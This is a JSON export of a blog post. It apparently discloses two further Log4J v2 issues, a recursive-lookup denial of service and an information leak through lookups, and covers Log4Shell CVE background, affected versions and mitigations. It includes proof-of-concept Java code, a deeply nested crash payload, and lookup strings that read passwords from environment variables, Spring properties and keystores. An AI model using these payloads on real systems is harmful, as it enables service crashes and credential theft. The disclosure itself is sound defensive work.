{"id":3701,"date":"2025-06-26T03:31:20","date_gmt":"2025-06-26T03:31:20","guid":{"rendered":"https:\/\/cybersecurityinfocus.com\/?p=3701"},"modified":"2025-06-26T03:31:20","modified_gmt":"2025-06-26T03:31:20","slug":"additional-vulnerabilities-in-log4j","status":"publish","type":"post","link":"https:\/\/cybersecurityinfocus.com\/?p=3701","title":{"rendered":"Additional Vulnerabilities in Log4J"},"content":{"rendered":"<h2 class=\"wp-block-heading\">Table of Contents<\/h2>\n<p><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#summary\">Table of Contents<\/a><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#summary\">Introduction<\/a><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#about-log4j-log4shell-and-related-cves\">About Log4J, Log4Shell and Related CVEs<\/a><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#string-interpolation-java-ee-and-how-they-intersect\">String Interpolation, Java EE and How They Intersect<\/a><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#technical-details-vulnerability-1-denial-of-service\">Technical Details \u2013 Vulnerability #1 \u2013 Denial of Service<\/a><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#exploit-example\">Exploit example<\/a><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#technical-details-vulnerability-2-information-disclosure\">Technical Details \u2013 Vulnerability #2 \u2013 Information Disclosure<\/a><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#exploit-example\">Exploit example<\/a><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#vendor-response-disclosure-details\">Vendor Response \/ Disclosure Details<\/a><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#references\">References<\/a><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#acknowledgements\">Acknowledgements<\/a><a class=\"wp-block-table-of-contents__entry\" href=\"https:\/\/wwws.nightwatchcybersecurity.com\/2025\/06\/25\/additional-vulnerabilities-in-log4j\/#timeline\">Timeline<\/a><\/p>\n<h2 class=\"wp-block-heading\">Introduction<\/h2>\n<p>The original four Log4shell vulnerabilities in Log4J v2 that were discovered and patched in December of 2021 included two additional vulnerabilities that were not publicly known at the time: a denial of service and an information disclosure. The root cause of these issues is other string lookups in the Log4J library. These were publicly disclosed by the vendor in September 2022 via documentation updates and are considered by the vendor part of these original four issues, so no code changes are planned and no new CVEs were issued.<\/p>\n<p>Previously recommended mitigations that were widely used (such as removing the JNDiLookup class) are insufficient to fix these issues and users running these mitigations should update as soon as possible to patched version. Systems that provide access to the Log4J configuration files remain vulnerable.<\/p>\n<h3 class=\"wp-block-heading\"><strong>About Log4J, Log4Shell and Related CVEs<\/strong><\/h3>\n<p>Logging is a fundamental requirement in software development. While Java provided a logging API since Java 1.4 (2002), Log4J existed since 1999 and offers a lot more features. It is also more popular than other frameworks leading to Log4J being used in a lot of Java applications. In December 2021, a number of serious security vulnerabilities were disclosed and patched in Log4J, with the most critical one allowing a remote attacker achieve remote code execution.<\/p>\n<p>These included:<\/p>\n<p><strong>CVE-2021-44228<\/strong> (CVSS 10.0) aka \u201cLog4Shell\u201d \u2013 \u201dallows Lookup expressions in the data being logged exposing the JNDI vulnerability\u201d<\/p>\n<p><strong>CVE-2021-45046<\/strong> (CVSS 10.0) \u2013 \u201cWhen the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern\u201d<\/p>\n<p><strong>CVE-2021-44832<\/strong> (CVSS 6.6) \u2013 \u201can attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI\u201d<\/p>\n<p><strong>CVE-2021-45105<\/strong> (CVSS 5.9) \u2013 \u201cdid not protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.\u201c\u00a0<\/p>\n<p>The timeline of the disclosure for these issues is as follows (from <a href=\"https:\/\/www.cisa.gov\/resources-tools\/resources\/csrb-review-december-2021-log4j-event\">CSRB public report<\/a>, page 3):<\/p>\n<p>The core cause for these four issues are from string lookups which enabled attackers to inject unvalidated data into an application and exploit lookups, similar to SQL injection. The most severe of these exploits enables attackers to load code from a remote server via JNDI and execute it (RCE) \u2013 aka Log4Shell.<\/p>\n<p>An example payload for Log4shell via the JNDI lookup type:<\/p>\n<p>Here is an illustration of a Log4J attack pattern (<a href=\"https:\/\/asprtracie.hhs.gov\/technical-resources\/resource\/11132\/log4j-vulnerabilities-and-the-health-sector\">from the HHS report,<\/a> page 19):<\/p>\n<p>The patches were released according to the following timeline:<\/p>\n<p>DateVersion ReleasedCVEs FixedNotes2021-12-102.15.0*CVE-2021-44228Fix for main Log4Shell issue, disables lookups but allows them to be-re-enabled via a property2021-12-132.16.0*CVE-2021-45046Fix for context lookups issue; disables lookups for logged data2021-12-182.17.0CVE-2021-45105Fix for denial of service issue; disables most recursive lookups2021-12-282.17.1CVE-2021-44832Fix for configuration file issue; limits JNDI context URL to \u201cjava\u201d<\/p>\n<p><em>Shortly after these releases, Amazon\u2019s Corretto Team released a hotpatch containing fixes for these two issues that could be applied to a running JVM as an agent (see <a href=\"https:\/\/aws.amazon.com\/blogs\/opensource\/hotpatch-for-apache-log4j\/\">blog post<\/a> and <a href=\"https:\/\/github.com\/corretto\/hotpatch-for-apache-log4j2\">GitHub repository<\/a>). Other issues were not covered by the hotpatch.<\/em><\/p>\n<p>As of December 2021, the following mitigations were recommended by the vendor (Apache) if users were unable to upgrade (see <a href=\"https:\/\/web.archive.org\/web\/20220123115031\/https:\/\/logging.apache.org\/log4j\/2.x\/security.html\">archived security page from Jan 2022<\/a>):<\/p>\n<p><strong>Log4Shell issues (CVE-2021-44228 and CVE-2021-45046)<\/strong> \u2013 \u201c<em>remove the JndiLookup class from the classpath\u201dOtherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class<\/em>\u201d<\/p>\n<p>See also the hotpatch option above<\/p>\n<p><strong>For context lookup related issues (CVE-2021-45046 and CVE-2021-45105):<\/strong><\/p>\n<p><em>\u201cIn PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).\u201d<\/em><\/p>\n<p><em>\u201cOtherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.\u201d<\/em><\/p>\n<h3 class=\"wp-block-heading\"><strong>String Interpolation, Java EE and How They Intersect<\/strong><\/h3>\n<p>One of the features found in Log4J and other Java libraries is property substitutions (aka lookups or message interpolation). They enable placeholders like ${xxx:yyy} to be replaced with other values, similar to shell and programming languages. In Log4J, lookups are used to make configuration easier and are meant to be used in configuration files, not in data being logged. <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/2338fcb9fb5cff5325305db4da1bed098b930beb\">They were added<\/a> to Log4J in v2.0 (October 2010). At some point, lookups were changed to allow interpolation against in incoming data being logged (<a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/a538903a9b5e100b1c3e3a8aec0462b1cb86765c\">most likely<\/a> in October 2011). Over time additional lookup classes were added \u2013 and <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/f1a0cac60f1e41347c9bced7c1470be488840344\">JNDI lookups were added<\/a> in July 2013. The JNDI code connects to the Java EE legacy code from 1990s. <\/p>\n<p>Unfortunately, if not used properly, this functionality can lead to security issues. The root cause for these issues is that there were multiple systems that should not have been connected:<\/p>\n<p>String lookups in config files.<\/p>\n<p>Processing of incoming log messages with untrusted data.<\/p>\n<p>Legacy 1990s Java EE\/JNDI code.<\/p>\n<p>The following is the code from the <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/blob\/rel\/2.14.1\/log4j-core\/src\/main\/java\/org\/apache\/logging\/log4j\/core\/pattern\/MessagePatternConverter.java\">MessagePatternConverter<\/a> class which processes incoming log messages. As you can see, it looks for \u201c$\u201d and passes the call to the StrSubstitutor class:<\/p>\n<p>for (int i = offset; i &lt; workingBuilder.length() &#8211; 1; i++) {<br \/>  if (workingBuilder.charAt(i) == &#8216;$&#8217; &amp;&amp; workingBuilder.charAt(i + 1) == &#8216;{&#8216;) {<br \/>     final String value = workingBuilder.substring(offset, workingBuilder.length());<br \/>     workingBuilder.setLength(offset);<br \/>     workingBuilder.append(config.getStrSubstitutor().replace(event, value));<br \/>    }<br \/>}<\/p>\n<p>The <strong>StrSubstitutor<\/strong> class is the main entry point into lookup functionality within Log4J. It relies on the <strong>StrLookup<\/strong> interface which is implemented by many classes, each providing different type of lookup (most are in the <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/tree\/rel\/2.14.1\/log4j-core\/src\/main\/java\/org\/apache\/logging\/log4j\/core\/lookup\">org.apache.logging.log4j.core.lookup<\/a> package). These get loaded via <a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/manual\/plugins.html\">a plugin architecture<\/a> and create connections to other components (custom lookups are also supported). One of the lookups provides Java Naming and Directory Interface (JNDI) support \u2013 as implemented in the JNDILookup class.<\/p>\n<p>The following is the <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/blob\/rel\/2.14.1\/log4j-core\/src\/main\/java\/org\/apache\/logging\/log4j\/core\/lookup\/StrLookup.java\">StrLookup interface<\/a> which provides a simple way to do lookups:<\/p>\n<p>public interface StrLookup {<br \/>    String CATEGORY = &#8220;Lookup&#8221;;<br \/>    String lookup(LogEvent event, String key);<br \/>}<\/p>\n<p>And this code in the <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/blob\/rel\/2.14.1\/log4j-core\/src\/main\/java\/org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.java\">JNDILookup<\/a> class creates a bridge between lookups and the legacy JNDI (Java EE) code still lingering in Java:<\/p>\n<p>public String lookup(final LogEvent event, final String key) {<br \/>   if (key == null) {<br \/>      return null;<br \/>    }<br \/>    final String jndiName = convertJndiName(key);<br \/>    try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {<br \/>        return Objects.toString(jndiManager.lookup(jndiName), null);<br \/>    } catch (final NamingException e) {<br \/>\u2026<\/p>\n<h2 class=\"wp-block-heading\">Technical Details \u2013 <strong>Vulnerability #1 \u2013 Denial of Service<\/strong><\/h2>\n<p>Many of string lookup types in Log4J are recursive and can be nested inside other lookups (<a href=\"https:\/\/github.com\/apache\/logging-log4j2\/blob\/rel\/2.14.1\/log4j-core\/src\/main\/java\/org\/apache\/logging\/log4j\/core\/lookup\/StrSubstitutor.java#L420\">see code here<\/a>). Each nested function call uses part of Java\u2019s stack memory which is distinct from the main (heap) memory used for majority of processing. Stack memory is configured via the \u201c-Xss\u201d parameter and defaults to anywhere between 1 MB to 1 GB depending on OS and Java version. Exceeding this memory will result in a StackOverFlowError. <\/p>\n<p>While recursive lookups are mentioned in CVE-2021-45105, that CVE was thought to be limited to non-standard configurations involving context lookups. However, it actually turns out that this issue can be exploited in default configurations similar to the way Log4Shell by sending a malicious payload to system that will try to log it. This was fixed when lookups were disabled, however, previous versions and any systems exposing the Log4J configuration remain vulnerable <strong>in default configurations<\/strong>. A recursive payload sent to an impacted application will be processed by Log4J recursively until the application runs out of stack memory.<\/p>\n<p>You can check the size of the stack memory in Java via the following command:<\/p>\n<p>&gt; java -XX:+PrintFlagsFinal -version | grep  ThreadStackSize<br \/>\u00a0\u00a0\u00a0intx ThreadStackSize\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 = 1024<\/p>\n<p>The attack is blind and does not require the attack to receive any kind of output from the system as follows:<\/p>\n<p>The payload size required to crash the JVM depends on the stack memory configuration. The following payload sizes were tested on JDK 17:<\/p>\n<p>Stack Memory Size (-Xss)Number of Nested Rounds to CrashPayload Size144 kb (minimum)1001 kb1,024 kb (default)3,00027 kb1 GB (maximum)18,000162 kb<\/p>\n<h3 class=\"wp-block-heading\"><strong>Exploit example<\/strong><\/h3>\n<p>Code to test the exploit:<\/p>\n<p>import org.apache.logging.log4j.LogManager;\u00a0<\/p>\n<p>public class Test {<br \/>\u00a0\u00a0\u00a0public static void main(String[] args) {<br \/>\u00a0\u00a0\u00a0\u00a0\u00a0int rounds = 100;<br \/>\u00a0\u00a0\u00a0\u00a0\u00a0String payload = &#8220;${lower:&#8221;.repeat(rounds) +<br \/>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8220;${java:runtime}&#8221; +<br \/>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8220;}&#8221;.repeat(rounds);<br \/>\u00a0\u00a0\u00a0\u00a0\u00a0System.out.println(&#8220;Payload size: &#8221; + payload.length());<br \/>\u00a0\u00a0\u00a0\u00a0\u00a0LogManager.getRootLogger().error(payload);<br \/>\u00a0\u00a0\u00a0\u00a0}<br \/>}<\/p>\n<p>Example of malicious payload:<\/p>\n<p>${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${java:runtime}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}}}}}}}}}}}}}}}}}<\/p>\n<p>In a normal version, the inner lookup ( ${java:runtime} ) will return the build information about the JVM while the outer lookups ( ${lower:xxx} ) will convert the information to lower case as follows:<\/p>\n<p>Payload size: 915<br \/>22:25:59.991 [main] ERROR\u00a0 &#8211; openjdk runtime environment (build 17.0.7+7-lts)<\/p>\n<p>However, in a Java configuration with not enough memory and vulnerable Log4J version, it will crash as follows:<\/p>\n<p>Payload size: 915<br \/>Exception in thread &#8220;main&#8221; java.lang.StackOverflowError at java.base\/java.lang.AbstractStringBuilder.checkRangeSIOOBE(AbstractStringBuilder.java:1809) at java.base\/java.lang.AbstractStringBuilder.getChars(AbstractStringBuilder.java:508) at java.base\/java.lang.StringBuilder.getChars(StringBuilder.java:91) at org.apache.logging.log4j.core.lookup.StrSubstitutor.getChars(StrSubstitutor.java:1401) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:939) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978)<\/p>\n<h2 class=\"wp-block-heading\">Technical Details \u2013 <strong><\/strong><strong>Vulnerability #2 \u2013 Information Disclosure<\/strong><\/h2>\n<p>The JNDI lookup turned out to be dangerous \u2013 but it\u2019s just one of the many lookup types available in Log4J. While fixes for Log4Shell disable lookup interpolation in log messages, in versions prior to 2.15 all lookups are available. Even today, in most recent versions lookups are still available in configuration files \u2013 even for latest versions of Log4J (since access to the configuration files is outside the threat model for the project). Additionally, lookups remain available if the JNDILookup class is removed (as per recommended mitigation back in 2021). This was a common mitigation to avoid upgrading Log4J library.<\/p>\n<p><strong>In these three scenarios (versions prior to 2.15, versions with JNDILookup class removed or any version with access to the configuration files), other lookup types remain available and can leak information about the underlying system. <\/strong><\/p>\n<p>The following lookup types are available in Log4J (<a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/manual\/lookups.html\">see documentation<\/a>):<\/p>\n<p>PatternDescriptionPatternDescription<strong>${bundle:xxx:xxx}<\/strong>Resource bundles<strong>${log4j:xxx}<\/strong>Log4J configuration properties<strong>${ctx:xxx}<\/strong>Thread context map<strong>${lower:xxx}<\/strong>Converts to lower case<strong>${date:xxx}<\/strong>Date\/time<strong>${main:xxx}<\/strong>Executable arguments \/ main()<strong>${docker:xxx}<\/strong>Docker attributes<strong>${map:xxx}<\/strong>Map lookup<strong>${env:xxx}<\/strong>Environment variables<strong>${marker:xxx}<\/strong>Markers<strong>${event:xxx}<\/strong>Log event object fields<strong>${spring:xxx}<\/strong>Spring properties<strong>${java:xx}<\/strong>Java runtime information<strong>${sd:xxx}<\/strong>Structured data<strong>${jndi:xxx}<\/strong>JNDI remote lookups<strong>{sys:xxx}<\/strong>System properties<strong>${jvmrunargs:xxx}<\/strong>JVM runtime args (JMX only)<strong>${upper:xxx}<\/strong>Converts to upper case<strong>${k8s:xxx}<\/strong>Kubernetes container information<strong>${web:xxx}<\/strong>Servlet context variables\/attributes<\/p>\n<p>Many of the available lookups return information such as environment variables, system properties, Spring properties, runtime information, secrets, etc. Lookups that return data such as runtime attributes can be used for initial information gathering by a third party. However, most of the lookups do not support wildcards \u2013 the name of the variable, property, etc. being retrieved must be known.<\/p>\n<p>Furthermore,\u00a0 access to the logs is required to read the information from these lookups so the attacker will not be able to execute this attack blindly. Scenarios with access would include error messages or cloud\/SAAS applications where users have access to the result logs. Example of such scenario:<\/p>\n<h3 class=\"wp-block-heading\"><strong>Exploit example<\/strong><\/h3>\n<p>Payload examples:<\/p>\n<p>PatternDescription${env:POSTGRES_PASSWORD}Postgres password stored in an environment variable${log4j:log4j2.trustStorePassword}Keystore password from Log4J properties${spring:spring.mail.password}SMTP password from Spring${docker:containerName}Container name in Docker${k8s:masterUrl}Kubernetes Master URL${java:runtime}Runtime information about the JVM<\/p>\n<p>Code to test the exploit:<\/p>\n<p>import org.apache.logging.log4j.LogManager;<\/p>\n<p>public class Test2 {<br \/>\u00a0\u00a0\u00a0public static void main(String[] args) {<br \/>\u00a0\u00a0\u00a0\u00a0\u00a0String payload = &#8220;${java:runtime}&#8221;;<br \/>\u00a0\u00a0\u00a0\u00a0\u00a0LogManager.getRootLogger().error(payload);<br \/>\u00a0\u00a0\u00a0}<br \/>}<\/p>\n<p>In a patched version, the lookup will not work since all lookups are disabled and the following output will be produced:<\/p>\n<p>&gt; javac -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar Test2.java&gt; java -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar:. Test2<br \/>12:39:48.062 [main] ERROR\u00a0 &#8211; ${java:runtime}<\/p>\n<p>In a vulnerable version, Log4J will return information about the system via the lookup:<\/p>\n<p>&gt; javac -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Test2.java&gt; java -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar:. Test2<br \/>12:39:19.843 [main] ERROR\u00a0 &#8211; OpenJDK Runtime Environment (build 17.0.8+7-LTS)<\/p>\n<h2 class=\"wp-block-heading\">Vendor Response \/ Disclosure Details<\/h2>\n<p>This issue was publicly disclosed by Apache \/ Log4J project in September 2022 part of the Log4J v2.19 release. This was done via an update to the security page (<a href=\"https:\/\/web.archive.org\/web\/20220924170446\/https:\/\/logging.apache.org\/log4j\/2.x\/security.html\">see archived security page<\/a> and <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/9c13b8bbac92db5d05dae15cd40dfcc42bf0276f#diff-457dbda9d8c4b5152ba13997c3266a1df6508a850065771a7f0b764ea9375f60\">Git update<\/a>). Because the Log4J project considers these to be part of CVE-2021-45046 and CVE-2021-44228, as well as being fixed in previous releases, no new CVEs were issued and no code changes were made. At this of writing (June 2025), the CVE descriptions were not fully updated in NVD \/ CVE database but do appear on the Log4J security page. The previous mitigation information about removing the JNDILookup class has been removed from the Log4J security page.<\/p>\n<p><strong>NOTE: many vendors using Log4J in their products publicly advertised the removal of the JNDILookup class as a mitigation. For those vendors, if they have not upgraded \u2013 then they remain vulnerable to the two issues in this post. Additionally, products\/services allowing access to the Log4J config files remain vulnerable even in the most recent versions.<\/strong><\/p>\n<p>Screenshots <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/9c13b8bbac92db5d05dae15cd40dfcc42bf0276f#diff-457dbda9d8c4b5152ba13997c3266a1df6508a850065771a7f0b764ea9375f60\">from the Git update<\/a>:<\/p>\n<p><strong><\/strong><strong>Vulnerable Versions and Mitigations<\/strong><\/p>\n<p>The following versions of Log4J are impacted:<\/p>\n<p>All versions of Log4J v2 prior to v2.15 except for v2.12.2-4 (Java 7) and v2.3.1-2 (Java 6).<\/p>\n<p>In versions v2.15, v2.12.2 (Java 7) and v2.3.1 (Java 6), lookups in log messages are disabled by default but can be re-enabled. If lookups are re-enabled or context lookups are used (CVE-2021-45046), these versions are impacted.<\/p>\n<p>Versions v2.16+, v2.12.3+ (Java 7) and v2.3.2 (Java 6) remain vulnerable <strong>if access is granted<\/strong> to the configuration files<\/p>\n<p>Log4J v1 should not be impacted except when JMSAppender is used (see CVE-2021-4104)<\/p>\n<p>Users should upgrade to a version that disables lookups entirely against log messages \u2013 v2.16+, v2.12.3 (Java 7) or v2.3.2 (Java 6).\u00a0 Other tools such as WAF and IDS systems should be updated with signatures that look for patterns to detect these issues<\/p>\n<p>For users unable to upgrade, prior mitigations recommended by the vendor will not protect against these issues. While it might be possible to backport existing patches to disable lookups, this it not recommended. Other public mitigations such as the Java hotpatch agent referenced above do not address these issue.<\/p>\n<p>Access to Log4J configuration files should not be allowed \u2013 lookups are still available in configuration files and there might be other attack vectors. <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/c6a20c6cdccbf5b92e2eb666c7b2fbd9042f8b5f\">Note that as of February 2023<\/a>, security reports assuming access to the Log4J configuration \u201cno longer qualify as vulnerabilities\u201d<\/p>\n<h3 class=\"wp-block-heading\">References<\/h3>\n<p><strong>Apache Log4J Github Repository<\/strong> (Mirror): <a href=\"https:\/\/github.com\/apache\/logging-log4j2\">https:\/\/github.com\/apache\/logging-log4j2<\/a><\/p>\n<p><strong>Apache Log4J Security Page<\/strong>: <a href=\"https:\/\/logging.apache.org\/security.html\">https:\/\/logging.apache.org\/security.html<\/a><\/p>\n<p>\u201c<strong>CSRB Review of the December 2021 Log4j Event<\/strong>\u201d (published July 11th 2022): <a href=\"https:\/\/www.cisa.gov\/resources-tools\/resources\/csrb-review-december-2021-log4j-event\">https:\/\/www.cisa.gov\/resources-tools\/resources\/csrb-review-december-2021-log4j-event<\/a><\/p>\n<p>\u201c<strong>HHS Report: Log4J Vulnerabilities and the Health Sector<\/strong>\u201d (published January 20th, 2022): <a href=\"https:\/\/asprtracie.hhs.gov\/technical-resources\/resource\/11132\/log4j-vulnerabilities-and-the-health-sector\">https:\/\/asprtracie.hhs.gov\/technical-resources\/resource\/11132\/log4j-vulnerabilities-and-the-health-sector<\/a> <\/p>\n<p><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2021-44228\"><strong>CVE-2021-44228<\/strong><\/a> \u2013 \u201cJNDI lookup can be exploited to execute arbitrary code loaded from an LDAP server\u201d<\/p>\n<p><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2021-44832\"><strong>CVE-2021-44832<\/strong><\/a> \u2013 \u201cRemote code execution (RCE) attack when a configuration uses a JDBC Appender with a JNDI LDAP data source\u201d<\/p>\n<p><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2021-45046\"><strong>CVE-2021-45046<\/strong><\/a> \u2013 \u201cInformation leak and remote code execution in some environments and local code execution in all environments\u201d<\/p>\n<p><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2021-45105\"><strong>CVE-2021-45105<\/strong><\/a> \u2013 \u201cAn attacker with control over Thread Context Map data can cause a denial of service when a crafted string is interpreted\u201d<\/p>\n<h3 class=\"wp-block-heading\"><strong>Acknowledgements<\/strong><\/h3>\n<p>The author would like to thank everyone who was involved in the disclosure process for these issues \u2013 you know who you are. Thank you for LTS for putting up with this for so long.<\/p>\n<h2 class=\"wp-block-heading\">Timeline<\/h2>\n<p>2021-12-09: Original Log4Shell disclosure and fix by the vendor (Apache)<\/p>\n<p>2022-09-10: Public disclosure of these two vulnerabilities by the vendor (Apache)<\/p>\n<p>2024-11-08: Public talk about these issues at BSides Delaware 2024<\/p>\n<p>2025-06-25: Initial publication of this blog post<\/p>","protected":false},"excerpt":{"rendered":"<p>Table of Contents Table of ContentsIntroductionAbout Log4J, Log4Shell and Related CVEsString Interpolation, Java EE and How They IntersectTechnical Details \u2013 Vulnerability #1 \u2013 Denial of ServiceExploit exampleTechnical Details \u2013 Vulnerability #2 \u2013 Information DisclosureExploit exampleVendor Response \/ Disclosure DetailsReferencesAcknowledgementsTimeline Introduction The original four Log4shell vulnerabilities in Log4J v2 that were discovered and patched in December [&hellip;]<\/p>\n","protected":false},"author":0,"featured_media":3702,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3701","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/3701"}],"collection":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3701"}],"version-history":[{"count":0,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/3701\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/media\/3702"}],"wp:attachment":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3701"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3701"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3701"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}